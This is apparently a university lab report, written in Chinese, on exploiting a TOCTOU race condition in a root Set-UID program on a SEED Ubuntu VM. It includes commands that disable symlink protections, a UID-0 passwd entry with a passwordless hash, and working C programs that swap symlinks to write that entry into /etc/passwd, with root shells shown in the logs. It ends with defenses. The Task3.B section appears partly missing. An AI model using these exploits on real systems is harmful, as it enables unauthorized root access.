



Lab5-竞争条件漏洞实验

姓名：李汶峰

班级：23 级网安 1 班

学号：202300460158

指导教师：刁文瑞

2025 年 11 月 21 日

目录

1 诚信声明	2
2 实验准备	2
2.1 关闭反制措施	2
2.2 漏洞程序分析	2
3 Task1: 选择目标	2
4 Task2: 发起竞争条件攻击	3
4.1 Task2.A: 模拟一个缓慢的机器	3
4.2 Task2.B: 进行真实攻击	4
4.3 Task2.C: 一种改进的攻击方法	5
5 Task3: 预防措施	6
5.1 Task3.A: 应用最小权限原则	6
5.2 Task3.B: 使用 Ubuntu 的内置方案	7
6 思考题	8
7 实验总结	8
8 代码附录	9
8.1 Task2.B	9
8.2 Task2.C	10
8.3 Task3.A	10

1 诚信声明

我承诺，本实验报告中的所有内容均为本人独立完成，未抄袭他人报告或实验结果。对于参考资料或他人观点，已明确注明出处。我了解学术诚信的重要性，并承诺遵守相关规定，确保报告内容真实、可靠。如发现任何学术不端行为，我愿意承担相应责任，包括但不限于实验报告扣减分数或其他合理后果。

2 实验准备

2.1 关闭反制措施

Ubuntu 有一个内置的防止竞争条件攻击的保护措施，其原理是限制符号的跟随者。同时在 Ubuntu 20.04 里还有一种安全机制，其防止 root 用户写入/tmp 中其他人拥有的文件。在本实验里，首先需要禁用这个保护措施，使用的指令如下：

```
sudo sysctl -w fs.protected_symlinks=0
sudo sysctl fs.protected_regular=0
```

2.2 漏洞程序分析

这是一个所有者为 root 的 Set-UID 程序，程序漏洞的核心代码如下。程序首先利用 access 函数检查真实用户 ID 是否具有对文件/tmp/XYZ 的访问权限，若有访问权限则进入 if 语句中，并执行 fopen 打开该文件并将输入写入到文件末端。但是由于检查权限和打开文件之间有着时间窗口，恶意攻击者可以在时间窗口内将 XYZ 文件软链接到 passwd 文件，然后通过恶意输入到 passwd 文件里可以获得 root 权限。

```
char* fn = "/tmp/XYZ";
char buffer[60];
FILE* fp;
scanf("%50s", buffer);
if (!access(fn, W_OK)) {
    fp = fopen(fn, "a+");
    ...
}
```

编译 vulp.c 文件将其转换为 root 为所有者的 Set-UID 程序，指令如下：

```
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp
```

3 Task1: 选择目标

Ubuntu 中有一个用于无口令帐户的 magic 值 U6aMy0wojraho，当这个值被放在用户条目的口令字段即/etc/passwd 后，我们只需要在提示输入口令时敲击回车键即可登录，获得 root 权限。首先需要在超级用户的情况下将以下条目添加到/etc/passwd 文件的末尾：

```
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

添加完成后，在命令行中输入 `su test` 进入 `test` 用户，然后无需输入口令直接敲击回车键即可获得 `root` 权限，结果如下图所示。

```
[11/21/25]seed@VM:~$ sudo nano /etc/passwd
[11/21/25]seed@VM:~$ su test
Password:
root@VM:/home/seed# whoami
root
root@VM:/home/seed#
```

图 1: 通过 `test` 账户获取 `root` 权限

完成此任务后，从口令文件中删除此条目。通过这个实验我们知道，只需要使用超级用户在口令文件里添加上述语句，即可获取 `root` 权限。在后续任务里，我们需要作为普通用户，利用竞争条件的程序漏洞来实现这一目标。

4 Task2: 发起竞争条件攻击

此任务的目标是利用这个 `Set-UID` 程序中的竞争条件漏洞获得 `root` 权限。攻击的最关键步骤是使 `/tmp/XYZ` 指向口令文件，该步骤必须发生在检查和使用之间的窗口内；即在易受攻击程序中的 `access` 和 `fopen` 调用之间。

4.1 Task2.A: 模拟一个缓慢的机器

首先在 `access()` 和 `fopen()` 之间增加一个 10 秒的时间窗口，以便能有充足的时间修改文件的软链接。在代码中通过 `sleep` 添加一个 10 秒的时间窗口，并重新编译程序：

```
if (!access(fn, W_OK)) {
    sleep(10);
    fp = fopen(fn, "a+");
```

接着在 `tmp` 目录下创建一个 `XYZ` 文件，之后运行可执行文件 `vulp` 并将 Task1 中的 `magic` 值输入进去，使用的指令如下：

```
echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash" | ./vulp
```

在运行程序之后会有十秒钟的窗口，我们需要在这个窗口期内将 `XYZ` 软链接至 `/etc/passwd` 文件，使用的指令如下：

```
ln -sf /etc/passwd /tmp/XYZ
```

实验运行的过程如图所示，在创建了 `XYZ` 文件后用 `ls -ld` 指令看出其为一个普通文件，运行程序后在十秒内将其软链接到用户口令文件，并再次用 `ls -ld` 指令查看发现其已正确链接到 `/etc/passwd` 中。最后输入 `su test` 验证，发现 `test` 用户成功创建并且能获得 `root` 权限，说明攻击成功。

```
seed@VM:~/Labsetup$ gcc vulp.c -o vulp
[11/21/25]seed@VM:~/Labsetup$ sudo chown root vulp
[11/21/25]seed@VM:~/Labsetup$ sudo chmod 4755 vulp
[11/21/25]seed@VM:~/Labsetup$ echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash"
| ./vulp
[11/21/25]seed@VM:~/Labsetup$
[11/21/25]seed@VM:~$ ls -ld /tmp/XYZ
-rw-rw-r-- 1 seed seed 0 Nov 21 06:12 /tmp/XYZ
[11/21/25]seed@VM:~$ ln -sf /etc/passwd /tmp/XYZ
[11/21/25]seed@VM:~$ ls -ld /tmp/XYZ
lrwxrwxrwx 1 seed seed 11 Nov 21 06:16 /tmp/XYZ -> /etc/passwd
[11/21/25]seed@VM:~$
```

图 2: 运行程序并修改链接

```
[11/21/25]seed@VM:~/Labsetup$ gcc vulp.c -o vulp
[11/21/25]seed@VM:~/Labsetup$ sudo chown root vulp
[11/21/25]seed@VM:~/Labsetup$ sudo chmod 4755 vulp
[11/21/25]seed@VM:~/Labsetup$ echo "test:U6aMy0wojraho:
| ./vulp
[11/21/25]seed@VM:~/Labsetup$ su test
Password:
root@VM:/home/seed/Labsetup# whoami
root
root@VM:/home/seed/Labsetup#
```

图 3: 运行程序后获得 root 权限

4.2 Task2.B: 进行真实攻击

在这个任务中，我们要发起真正的攻击，在执行此任务之前，先删除 vulp.c 程序中的 sleep() 语句并重新编译。接着编写竞争条件攻击程序，通过循环将 /tmp/XYZ 符号链接指向用户口令文件/etc/passwd，若攻击不成功则停止一段时间并将其指向无害文件/dev/null，每种状态都保持 200 微秒，在切换状态时用 unlink 消除链接。代码如下：

```
#include <unistd.h>
#include <stdio.h>
int main() {
    while (1) {
        unlink("/tmp/XYZ");
        symlink("/etc/passwd", "/tmp/XYZ");
        usleep(200);
        unlink("/tmp/XYZ");
        symlink("/dev/null", "/tmp/XYZ");
        usleep(200);
    }
    return 0;
}
```

接着编写自动检测攻击脚本，用于检测竞争条件攻击是否成功。脚本循环运行具有竞争条件的漏洞程序并输入 magic 值到程序中，然后通过持续监控 /etc/passwd 文件的变化来判断攻击是否生效。代码如下：

```
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$(($CHECK_FILE))
new=$(($CHECK_FILE))
while [ "$old" == "$new" ]
do
    echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash" | ./vulp
    new=$(($CHECK_FILE))
done
echo "STOP... The passwd file has been changed"
```

最后开始进行攻击，首先在一个终端上运行攻击脚本 `att.c`，然后在另一个终端上运行自动检测攻击脚本 `target_process.sh`，等待一段时间终端上提示口令文件被更改，停止攻击。输入 `su test` 指令进入 `test` 账户后发现获得了 `root` 权限，说明攻击成功。运行结果如图所示：

```
No permission
No permission
No permission
No permission
STOP... The passwd file has been changed
[11/21/25]seed@VM:~/Labsetup$ su test
Password:
root@VM:/home/seed/Labsetup# whoami
root
root@VM:/home/seed/Labsetup#
```

图 4: 通过脚本攻击的结果

4.3 Task2.C: 一种改进的攻击方法

在 Task 2.B 中，攻击程序在删除 `/tmp/XYZ`（即 `unlink()`）之后，再将其链接到另一个文件即 `symlink()` 之前，具有竞争条件的程序可能在这个时间终止了攻击程序，然后执行 `fopen` 导致 `XYZ` 文件变为 `root` 为所有者的文件，此后攻击程序无法再更改 `XYZ` 文件。

这也是由于程序具有竞争条件且执行 `unlink` 与 `symlink` 时不是一个原子化语句，它们中间仍有时间间隔。为了解决这个问题，我们需要使 `unlink()` 和 `symlink()` 原子化。修改后的攻击代码如下所示，它通过原子操作 `renameat2` 系统调用在 `/tmp/XYZ` 和 `/tmp/ABC` 两个符号链接之间不断交换指向，利用漏洞程序检查和使用文件之间的极短时间窗口，以 `root` 权限向系统口令文件写入恶意数据，从而实现权限提升攻击。

```
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
int main() {
    unsigned int flags = RENAME_EXCHANGE;
    unlink("/tmp/XYZ");
    unlink("/tmp/ABC");
    symlink("/dev/null", "/tmp/XYZ");
    symlink("/etc/passwd", "/tmp/ABC");
    while(1) {
        renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
        usleep(100);
    }
    return 0;
}
```

最后依次运行攻击程序和自动化检测程序。结果如图所示，由于添加了原子化操作，攻击时间明显比上一个任务中的时间要短，在短时间内就能攻击成功，输入 `su test` 后获得了 `root` 权限。

```
No permission
No permission
STOP... The passwd file has been changed
[11/21/25]seed@VM:~/Labsetup$ su test
Password:
root@VM:/home/seed/Labsetup# whoami
root
seed@VM: ~/Labsetup
[11/21/25]seed@VM:~/Labsetup$ ./att2
^C
[11/21/25]seed@VM:~/Labsetup$
```

图 5: 使用原子化操作后的攻击结果

5 Task3: 预防措施

5.1 Task3.A: 应用最小权限原则

本实验中，漏洞程序的根本问题是违反了最小权限原则。最小权限原则即如果程序不需要某些特权，就应该禁用这些特权。在原始程序中它始终以 root 权限运行，access() 实际上检查到的是 root 用户的权限，但是真实的意图是想要检查程序实际执行者的权限，所以我们需要在 access() 函数前将有效用户 ID 设置为程序执行者的 ID。补充的代码如下：

```
int main()
{
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;
    scanf("%50s", buffer);
    seteuid(getuid()); #将有效用户 ID 设为程序执行者的 ID
    if (!access(fn, W_OK)) {
        fp = fopen(fn, "a+");
    }
}
```

再次运行攻击程序和漏洞程序，结果如下图所示，发现攻击失败，输出“Open failed: Permission denied”，说明漏洞修复成功。这是因为程序先将有效用户 ID 降为普通用户权限执行 access() 检查，此时即使攻击者通过竞争条件将 /tmp/XYZ 指向 /etc/passwd，普通用户对系统口令文件也没有写权限，导致权限检查失败。

```
No permission  
No permission  
Open failed: Permission denied  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission
```

[11/21/25] seed@VM: ~/Labsetup\$./att2
^C
[11/21/25] seed@VM: ~/Labsetup\$

在公共目录中访问一个符号链接时，内核会检查链接的所有者与访问进程的所有者是否一致、或者链接所有者是否与目录所有者一致。如果不一致，内核将禁止跟随该链接。

在本次实验中，攻击者（seed 用户）在 /tmp 下创建了指向 /etc/passwd 的软链接，但当 Set-UID 程序（Root 权限）试图打开该链接时，内核发现链接是由攻击者建立的，而访问进程的所有者是 Root，两者身份不匹配，因此拒绝访问，直接阻断了通过软链接篡改系统文件的路径。

(b). 这个方案有什么局限性？

- 只针对“跨用户”的符号链接访问：它只在“访问进程的用户”和“符号链接/目录的用户”不一致时才拦截。因此，如果攻击者和被攻击程序是同一用户，这个机制会不起作用，程序仍可能被竞争条件或恶意软链接攻击。
- 只保护特定场景：它主要面向带 Sticky 位的公共可写目录中的软链接攻击，而无法对其他类型的竞争条件（比如硬链接攻击等）进行保护，也无法弥补程序自身逻辑设计上的不安全路径处理。
- 可能影响合法的使用：一些原本依赖跨用户软链接的程序将不能正常使用。

6 思考题

下面的所有者为 root 的 Set-UID 程序是否有竞争条件漏洞？请解释。

```
if (!access("/etc/passwd", W_OK)) {  
    f = open("/tmp/X", O_WRITE);  
    write_to_file(f);  
}  
else {  
    fprintf(stderr, "Permission denied\n");  
}
```

回答：该代码不存在竞争条件漏洞，代码中 access() 检查的是 /etc/passwd 的写权限，但 open() 打开的是完全不同的文件/tmp/X。竞争条件漏洞的核心是检查和使用同一个资源之间存在时间窗口，但这里检查和使用的是两个无关的文件，没有共享资源被重复访问。即使攻击者在 access() 和 open() 之间修改了 /etc/passwd 的符号链接，也不会影响程序对 /tmp/X 的操作。

7 实验总结

本次实验通过一个 Set-UID 程序中的竞争条件漏洞，展示了如何利用权限检查 (access) 和文件操作 (fopen) 之间的极短时间窗口，通过快速切换符号链接指向，诱使特权程序以 root 权限向敏感系统文件（如/etc/passwd）写入恶意数据，从而实现权限提升；此外实验还通过了原子化操作的技术大大提高了攻击速度和成功率，最后还探讨了通过最小权限原则和系统保护机制 (fs.protected_symlinks) 的防御方案，完整呈现了竞争条件漏洞从利用到防护的全过程，强调了安全编程中时间窗口安全和权限最小化的重要性。

8 代码附录

8.1 Task2.B

1. 自动化检测脚本

```
#!/bin/bash

CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
    echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash" | ./vulp
    new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
```

2. 攻击脚本 att1.c

```
#include <unistd.h>
#include <stdio.h>

int main() {
    while (1)
    {
        unlink("/tmp/XYZ");
        symlink("/etc/passwd", "/tmp/XYZ");
        usleep(200);
        unlink("/tmp/XYZ");
        symlink("/dev/null", "/tmp/XYZ");
        usleep(200);
    }
    return 0;
}
```

8.2 Task2.C

1. 攻击脚本 att2.c

```
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>

int main() {
    unsigned int flags = RENAME_EXCHANGE;

    unlink("/tmp/XYZ");
    unlink("/tmp/ABC");
    symlink("/dev/null", "/tmp/XYZ");
    symlink("/etc/passwd", "/tmp/ABC");

    while(1) {
        renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
        usleep(100);
    }
    return 0;
}
```

8.3 Task3.A

修改后的漏洞程序

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main()
{
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;
    scanf("%50s", buffer);
    seteuid(getuid());#将有效用户 ID 设为程序执行者的 ID
    if (!access(fn, W_OK)) {
        fp = fopen(fn, "a+");
        if (!fp) {
            perror("Open failed");
            exit(1);
        }
        fwrite("\n", sizeof(char), 1, fp);
    }
```

```
        fwrite(buffer, sizeof(char), strlen(buffer), fp);  
        fclose(fp);  
    } else {  
        printf("No permission \n");  
    }  
  
    return 0;  
}
```